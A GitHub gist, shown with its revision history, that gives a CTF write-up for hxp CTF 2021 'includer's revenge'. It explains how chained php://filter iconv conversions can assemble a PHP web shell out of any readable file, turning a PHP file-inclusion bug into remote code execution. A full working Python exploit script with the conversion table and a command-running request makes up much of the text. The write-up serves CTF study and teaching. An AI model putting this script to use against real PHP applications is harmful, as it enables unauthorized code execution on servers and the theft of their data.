Last active
October 16, 2025 14:27
-
Star
(108)
You must be signed in to star a gist -
Fork
(21)
You must be signed in to fork a gist
-
-
Save loknop/b27422d355ea1fd0d90d6dbc1e278d4d to your computer and use it in GitHub Desktop.
Revisions
-
loknop revised this gist
Sep 1, 2025 . 1 changed file with 2 additions and 3 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -19,9 +19,8 @@ is what I came up with after spending quite some time thinking about this: After playing around a little, I noticed two interesting things: - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. (the decoder behavior was shown in the [solution for the counter challenge](https://hxp.io/blog/89/hxp-CTF-2021-counter-writeup/) of the same ctf) Using these we can do the following: 1. prepend `\x1b$)C` to our string as described above -
loknop revised this gist
Aug 28, 2025 . 1 changed file with 2 additions and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -21,6 +21,8 @@ After playing around a little, I noticed two interesting things: - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. (To not take credit for other people's work here: the base64 decoder behavior was shown in the [solution for the counter challenge](https://hxp.io/blog/89/hxp-CTF-2021-counter-writeup/) of the same ctf) Using these we can do the following: 1. prepend `\x1b$)C` to our string as described above 2. apply some chain of iconv conversions that leaves our initial base64 intact -
loknop created this gist
Dec 30, 2021 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,116 @@ # Solving "includer's revenge" from hxp ctf 2021 without controlling any files # The challenge The challenge was to achieve RCE with this file: ```php <?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php'); ``` Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read [this writeup from the challenge author](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)). I didn't solve the challenge during the competition - [here is a writeup from someone who did](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/) - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach. ## The rough Idea During the competition I read [this blogpost from gynvael](https://gynvael.coldwind.pl/?id=671) where he bypassed a filter using the `convert.iconv` functionality of `php://filter/` and wondered if that trick could be used to generate a php backdoor ... turns out it can be used for that :D There are probably different/better solutions that take a similar approach, but here is what I came up with after spending quite some time thinking about this: After playing around a little, I noticed two interesting things: - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. Using these we can do the following: 1. prepend `\x1b$)C` to our string as described above 2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code 3. base64-decode and base64-encode the string which will remove any garbage in between 4. Go back to 1 if the base64 we want to construct isn't finished yet 5. base64-decode to get our php code ## Getting the filter chains for step 2 I pretty much got these by just bruteforcing one conversion step at a time, looking at the results and then choosing interesting results from which to continue. (Considering the amount of time this cost me it probably would've been better to automate this entirely 🙃) While bruteforcing I had to try all the aliases from `iconv -l` since somehow none of the iconv versions I found online seemed to match in terms of alias names. ## Some problems I encountered - Pretty much the only condition I encountered where the convert.base64-decode filter would fail is if it encounters an equal sign when it didn't expect one, luckily we can again use iconv and convert from UTF8 to UTF7 which will turn any equal signs in the string into some base64. - If we base64-decode a string that doesn't have 4*n characters then the result won't fit into whole bytes. The `convert.base64-decode` implementation deals with this by just ignoring the last bits until the result is a multiple of 8 bits again. This means that until we arrive at our desired base64 we will lose some bytes at the end of our string. This isn't an issue if we read from a file like `/etc/passwd` but we can just generate some garbage base64 before beginning to make sure that this will work even if the file is empty. ## Getting the flag Now that we have our string of filters that will generate our backdoor getting the flag is as easy as ```python r = requests.get(challenge_url, params={ "0": "/readflag", "action": "include", "file": f"php://filter/{filters}/resource={any_file_we_can_read}" }) print(r.text) ``` # Full script ```python import requests url = "http://localhost/index.php" file_to_use = "/etc/passwd" command = "/readflag" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" r = requests.get(url, params={ "0": command, "action": "include", "file": final_payload }) print(r.text) ```